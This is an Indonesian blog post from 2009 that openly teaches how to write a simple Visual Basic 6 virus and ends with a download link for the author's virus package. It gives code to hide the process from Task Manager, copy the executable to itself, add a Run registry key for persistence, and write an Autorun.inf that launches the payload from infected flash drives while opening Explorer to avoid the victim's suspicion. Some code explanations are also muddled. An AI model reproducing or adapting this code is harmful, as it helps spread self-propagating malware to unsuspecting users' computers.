Tuesday 17 November 2009

Belajar Membuat Program

Belajar Membuat Program
Belajar sampai Bisa
(tidak terlalu susah kok – yuk belajar membuat virus)




Dari benar-benar tidak bisa, menjadi kenal dan bisa mempraktekan hingga mengembangkan menjadi satu kesatuan yang kompleks



Membuat program sudah tidak lagi menjadi hal yang tabu bagi para pengguna komputer, terutama maniak netter. Di dunia maya yang penuh dengan berbagai hal di dalamnya, mereka (netter) saling berinteraksi bertukar pendapat untuk menyelesaikan suatu masalah tertentu. Tak jarang mereka membuat suatu komunitas tertentu agar kesamaan hoby mereka bisa berkembang menjadi suatu hal yang membuat mereka menjadi lebih matang. Tak sedikit pula dana yang mereka keluarkan, seperti pergi ke warnet dengan biaya perjam sebesar Rp. 4.500, atau tagihan perbulan dari beban telepon/HP. Ya, itulah namanya hidup, semua harus dengan pengorbanan.
Hidup yang dibekali ilmu bagi tiap-tiap orang tentu membuatnya menjadi terlihat ahli dari orang lain. Bagiamana jika ia sudah tidak ada? Siapa yang melanjutkannya demi ilmu yang tidak pernah punah ini? Hmmm…, walaupun ilmu tidak akan pernah punah, tapi kalau tidak diwariskan toh tidak akan ada generasi lanjutan, kalau ada itu pun akan sangat lama. Sedikit dan seburuk apa pun ilmu yang diberikan itu akan tetap menjadi ilmu. Dan selama ilmu itu terus diturunkan maka marilah kita cegah kata ‘punah’.
Let’s to learn…!








Baiklah langsung saja disini kita akan mengenal beberapa kode yang bisa diterapkan dalam membuat program berbasis VB 6 (Visual Basic 6.0). Nah sebelumnya kalau Anda disuruh memilih antara “Merusak” dan “Memperbaiki” maka Anda akan pilih yang mana? Walaupun sulit dikatakan tapi “Merusak lebih gampang daripada memperbaiki”, iya kan…? Hohohoho…. 
Nah maka dari itu disini akan dipelajari kode ‘sederhana’ yang bisa dipraktekan dalam membuat virus.


Menyembunyikan Proses
Menyembunyikan Proses disini maksudnya agar proses virus tidak nampak terlihat pada program pengalola proses aktif seperti Task Manager contohnya.

App.TaskVisible = False

Walaupun demikian program akan tetap terbaca oleh Task Manager, yakni pada Tab Processes. Hal ini karena kode tersebut hanya berfungsi pada Tab Applications dari Task Manager. Pada dasarnya kita tidak perlu membuat True pada kode di atas agar program terlihat pada Tab Applications dari Task Manager.

App.TaskVisible = True

Karena pada dasarnya program memang selalu nampak pada Tab Applications dari Task Manager.
Untuk Task Manager itu sendiri dapat kita penggil (jalankan) dengan menekan tombol pada Keyboard, yaitu tombol Ctrl + Alt + Del atau Ctrl + Shift + Esc. Jika ternyata tidak ada respon maka kemungkinan fitur ini telah dialihfungsikan oled virus.


Penggunaan Fungsi If, Then, GoTo
Sesuai artinya, if dalam bahasa Inggris mempunyai arti jika dalam bahasa Indonesia, lalu then adalah maka, dan goto adalah pergi ke.

If App.Path = "C:\" Then GoTo Bar2

Jika berada pada batas C maka selanjutnya pergi ke baris 2.
Ya, mungkin begitulah maksudnya. Sebuah penanganan kondisi yang bagus untuk diterapkan. Mengapa bagus? Karena pada dasarnya kita tidak tau apa yang akan terjadi pada kemudian waktu. Ini seperti sebuah spontanitas atau refleksi dari keadaan tertentu. Misalnya Anda sedang mengendarai kendaraan roda dua terus ada lobang yang lumayan besar di depan jalan, tentu Anda akan menghindar kan? Ya kecuali kalau Anda memang suka masuk lobang. 

App.Path = "C:\"

Kode di atas menunjukkan letak program saat dijalankan. Jika program berada ada Address seperti kode maka akan dijalankan perintah selanjutnya. Nah bagaimana jika program bukan berada pada lokasi tersebut? Maka perintah ini tidak akan dilaksanakan.

GoTo Bar2

Kode ini menunjukkan bahwa perintah selanjutnya adalah pergi ke Bar2. Ini adalah sebuahperintah loncatan yang mana kita harus punya dermaga untuk menambatkan loncatan tadi. Kode yang biasanya digunakan untuk tambatan loncatan itu ialah :.

Bar2:

Yang mana ada penambahan karakter ‘titik dua’ atau ‘:” nya pada nama dermaga atau pemberhentian loncatan/lompatan.


Penanganan Error
Error adalah suatu yang lumrah bagi program, maka dari itu pentingnya melakukan tindakan penanganan sehingga program dapat berjalan lancar.

On Error GoTo A

A:
MsgBox “Error”

Sebuah perintah dimana A: adalah sebagai dermaga untuk bertambatnya suatu Error. Tapi ada juga lho penanganan yang tidak menggunakan dermaga untuk bertambat, yakni

On Error Resume Next

Dimana ketika terjadi kesalahan pada program maka program akan berjalan tersu seolah tidak terjadi apa-apa. Eits…, jika terdapat banyak sekali Error atau sebuah Fatal Error maka Error juga bisa akan tetap terjadi lho. So, keep carefull


Menggandakan Diri
Menggandakan disini dalam artian memperbanyak diri, bukan ganda bilangan (2).

FileCopy App.Path & "\" & App.EXEName & ".exe", "copyan.exe"

Kode untuk mengkopi diri program (pada direktori/folder yang sama) sehingga menjadi lebih dari 1 program yang sama, dengan nama yang berbeda (sesuai keinginan). Baris kode ini akan mengalami Error jika sebelumnya program masih berupa design (belum jadi), maka untuk mendapatkan hasilnya kita harus membuat programnya menjadi file masak, yang berekstensi .exe (dot ekse) itu lho biasanya. 
Jika ingin membuat 2 file sekaligus (file kopian) dalam 1 kali program dijalankan maka tinggal gandakan saja kode di atas dengan memberi nama file kopi yang berbeda dari sebelumnya.

FileCopy App.Path & "\" & App.EXEName & ".exe", "copyan.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "copyan2.exe"

Nah bagaimana jika file kopi ini berada pada direktori berbeda. Maka penulisannya adalah dengan menambahkan Address.

FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\copyan.exe"





Contoh di atas adalah berfungsi untuk membuat file kopi berada di direktori (D:) D:\, dan seterusnya.

Untuk peletakan penulisan kode, kode biasanya berada ditengah tengah atau baris kosong yang dimaksudkan sebagai baris peletakan kode.
Lihatlah gambar di bawah yang mencoba menyelaskan bahwa ketika suatu tombol di klik maka akan disediakan baris kosong, dan isikanlah kode perintah program kita.














Nah lupa. Sebelumnya, coba Anda perhatikan panah pada gambar sebelah kiri! Panah itu menunjuk pada sebuah Command Button (tombol perintah), dan Form1 yang terlihat bentuk kotak ada titik-titiknya itu ialah Form atau boleh dibilang alas atau dasar pembuatan program (tapi ada juga lho yang gak pakai alas, langsung bikin atap. Ckckckck…. ). Dalam pembuatan awal program, kita diperkenankan untuk menata sedemikian rupa program yang kita buat. Contohnya pada gambar di atas, yang mana saat programmer menekan Command Button maka tidak terjadi apa-apa melainkan disuruh memasukkan kode program. Terus, kapan Command Button akan berfungsi? Ya saat kita jalankan programnya, tuh lihat di atas layar Visual Basic 6 ada tombol seperti tombol Play (mainkan) pada pemutar musik, tombol itulah yang berfungsi untuk menjalankan program yang dibuat tadi.


Memanipulasi Registry
Ibarat system saraf suatu organ, maka registry adalah system saraf pusat dari OS Windows, yang akan mengatur sedemikian rupa jalannya proses program.

Shell "Reg Add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v Setup /t REG_SZ /d C:\Windows\Noa.exe"

Kode ini berfungsi menjalankan virus pada saat komputer dihidupkan, biar otomatis. Pada kode di atas seharusnya ditulis satu baris saja, namun karena lembaran ini tidak cukup lebar maka ditulis (sambung) ke bawah deh. Kode itu menggunakan perintah cmd yang letaknya berada pada Address ‘C:\WINDOWS\system32\cmd.exe”. Lho…, padahal Visual Basic tapi kok kenapa pakai cmd lagi? Itulah kelebihn dari VB (Visual Basic), dia bisa menggunakan perintah cmd juga, yaitu dengan menggunakan perinah Shell. Untuk keterangan lebih lanjut tentang cmd silakan pelajari sendiri ya! 
Untung kemarin gue sempat berkenalan sama cmd, walaupun cuma sebentar. Ckckck….

Menjalankan Program Lain
Menjalankan atau mengeksekusi program dapat berguna sebagai alarm, dimana setiap program harus bangun pada saat tertentu.

Shell "copyan.exe"

Sebuah fungsi alarm untuk menjalankan file “copyan.exe” (berada pada direktori yang sama) pada saat yang diinginkan (nanti setelah ini dibahas fungsi watu). Bagaimana jika ingin menjalankan program yang lain (berbeda direktori)? Yaitu dengan menambah Address.

Shell "C:\Windows\Notepad.exe"

Kode di atas berfungsi menjalankan (eksekusi) Notepad yang berada pada Address C, tepatnya pada direktori Windows.
Eits…, ternyata masih pakai perintah dari cmd ya…?! 


Kotak Pesan
Sedikit iseng untuk virus yang sebenarnya tidak ganas sama sekali.

MsgBox "Virus ganas telah menyerang", vbCritical, "Error"

MsgBox atau message box atau kotak pesan akan membuat kita bertanya ada apa gerangan dengan komputer terecinta. 





















File Pemicu
Ibarat ranjau yang ketika terinjak maka dia akan meledak, ya itulah pemicunya. Ketika user (pengguna komputer) awam sebut saja korban, tidak menginstall Antivirus di komputernya (wek, padahal penulis sendiri juga gak nginstallnya. ) sedang mencolokkan flashdisk bervirus, yang terdapat file Autorun.inf didalamnya, maka ketika ia tidak hati-hati membuka data di flashdisknya, itulah saat dimana virus meledak (aktif).

Dim C As String
C = "C:\Autorun.inf"
Open C For Output As #1
Print #1, "[autorun]"
Print #1, "shell=explore"
Print #1, "shell\explore\command=Noa.exe"
Print #1, "explore=Noa.exe"
Print #1, "open=Noa.exe"
Print #1, "shell=open"
Print #1, "shell\open\command=Noa.exe"
Close #1

Kode di atas adalah perintah untuk membuat file, masih rentan terhadap error, khususnya ketika menemukan folder yang memiliki nama yang sama dengan file, karena fungsi di atas hanya untuk menangani file bukan folder. Tetapi tidak menutup kemungkinan lho Errornya diakibatkan oleh file. 

If App.Path = "C:\" Then Shell "explorer C:\", vbNormalFocus

Nah, kode ini berguna ketika dilakukan peng-eksekusi-an program melalui file “Autorun.inf”, yang mana ketika program berjalan maka seolah-olah tidak terjadi apa-apa, karena telah diberi perintah untuk menjalankan sesuatu seperti apa yang diinginkan korban. Tapi jika perintah ini dilakukan perulangan maka tentu akan terjadi keanehan, maka harus hati-hati ya, jangan sampai ada yang curiga. Ckckck….

Shell "explorer C:\"

Perintah dari cmd agar membuka direktori atau address C:\.

Setelah melakukan perintah dengan menggunakan perintah dari cmd (yang ada shell itu lho) maka lakukan Normal Focus.

vbNormalFocus

Perintah dari VB agar melakukan tindakan Normal yakni menampilkan layar program yang dibuka. Untuk perintah lainnya silakan pelajari dan kembangkan sendiri ya!



Mem-Paste-kan Kata
Copy-Paste adalah sebuah fitur yang memanjakan user, dimana user tidak usah membuat ulang apa yang sudah ada.

Clipboard.Clear
Clipboard.SetText "Hohoho"

Kode di atas berfungsi untuk Mem-Paste (menempel) kata yang diinginkan pada sebuah media pengolah kata atau tullisan seperti Notepad, Microsoft Word dan sebagainya, bahkan pada fungsi Rename (ubah nama) pada file. Kata “Hohoho” adalah kata yang akan ditempel (Paste). Fungsi baris diatasnya adalah untuk mengosongkan (Clear) teks sebelumnya (jika sebelumnya telah meng-Copy teks), sehingga yang ter-Paste nantinya adalah kata “Hohoho” tadi.


Fungsi Waktu
Ibarat mesin reminder (pengingat), jika sewaktu-waktu kita lupa akan suatu hal, hari ulang tahun atau tanggal jadian (pacaran) misalnya, maka mesin itu akan memberitahukannya untuk kita. Hmmm…, itulah mesin, ia tak pernah lelah hingga ia benar-benar tidak bisa berfungsi lagi.

Year(Now) = 2009
Month(Now) = 11
Day(Now) = 22
Hour(Now) = 32
Minute(Now) = 59
Second(Now) = 59

Jika digabung maka menghasilkan kode seperti dibawah dengan penambahan MsgBox (message box/kotak pesan). Untuk fungsi And berguna untuk menambahkan antar kata/kode (fungsi bertingkat) sehingga kode dapat berjejer menjadi satu baris.

If Year(Now) = 2009 And Month(Now) = 11 And Day(Now) = 22 And Hour(Now) = 13 And Minute(Now) = 59 And Second(Now) = 59 Then
MsgBox "Happy Birthday!"
End If

Kode di atas berfungsi ketika pada waktu yang telah ditentukan ia akan melakukan tindakan yang telah disiapkan sebelumnya oleh programmer. Untuk fungsi waktu berlaku format 24 jam, sehingga jika ingin menentukan waktu pada jam 11 malam (11 PM) maka angka yang digunakan adalah 23, sedangkan jam 11 siang (11 AM) maka penulisan tetap 11.



Sedangkan penggunaan fungsi Or adalah fungsi setara antar kata, namun entah mengapa fungsi ini mengalami Error pada kesetaraannya. Coba perhatikan!

If Minute(Now) = 11 Or 10 Then
MsgBox Minute(Now)
End If

Lihat, disana penulis sengaja membuat pengurangan waktu, maksudnya waktu dipantau dari yang tertinggi lebih dahulu baru ke terendah. Hmmm…, VB akan tetap menghitung waktu yang ada atau waktu yang sedang berjalan. Maka, jika waktu sekarang bukan merupakan menit ke 11 atau menit ke 10 secara otomatis VB akan membaca menit sekarang dan memberikan outputnya pada kita. Hal ini juga berlaku jika kita masukkan 61 sebagai menit pada kode diatas, atau bahkan yang lebih tinggi, dan juga menggunakan perbandingan menit yang sama. Hmmm…. Aneeeh…?
































Mungkin sekian dulu ya pembelajaran kita.
Mohon maaf kalau ada kesalahan dalam penulisan dan sebagainya!
Nanti kalau penulis ada waktu luang atau ada permintaan dari teman mungkin akan ada lagi tulisan lainnya yang mungkin akan lebih menarik lagi. 
Semoga waktu tak begitu pendek! 
See you….
Happy coding….




































11-11-2009, Paray
Side of Kahayan River
Noa









-------------------------
Oiya, mungkin artikel yang ada di blog agak rancu, maka silakan download saja paketnya di: (http://www.4shared.com/get/153707179/d1becff/Noa_Vir.html)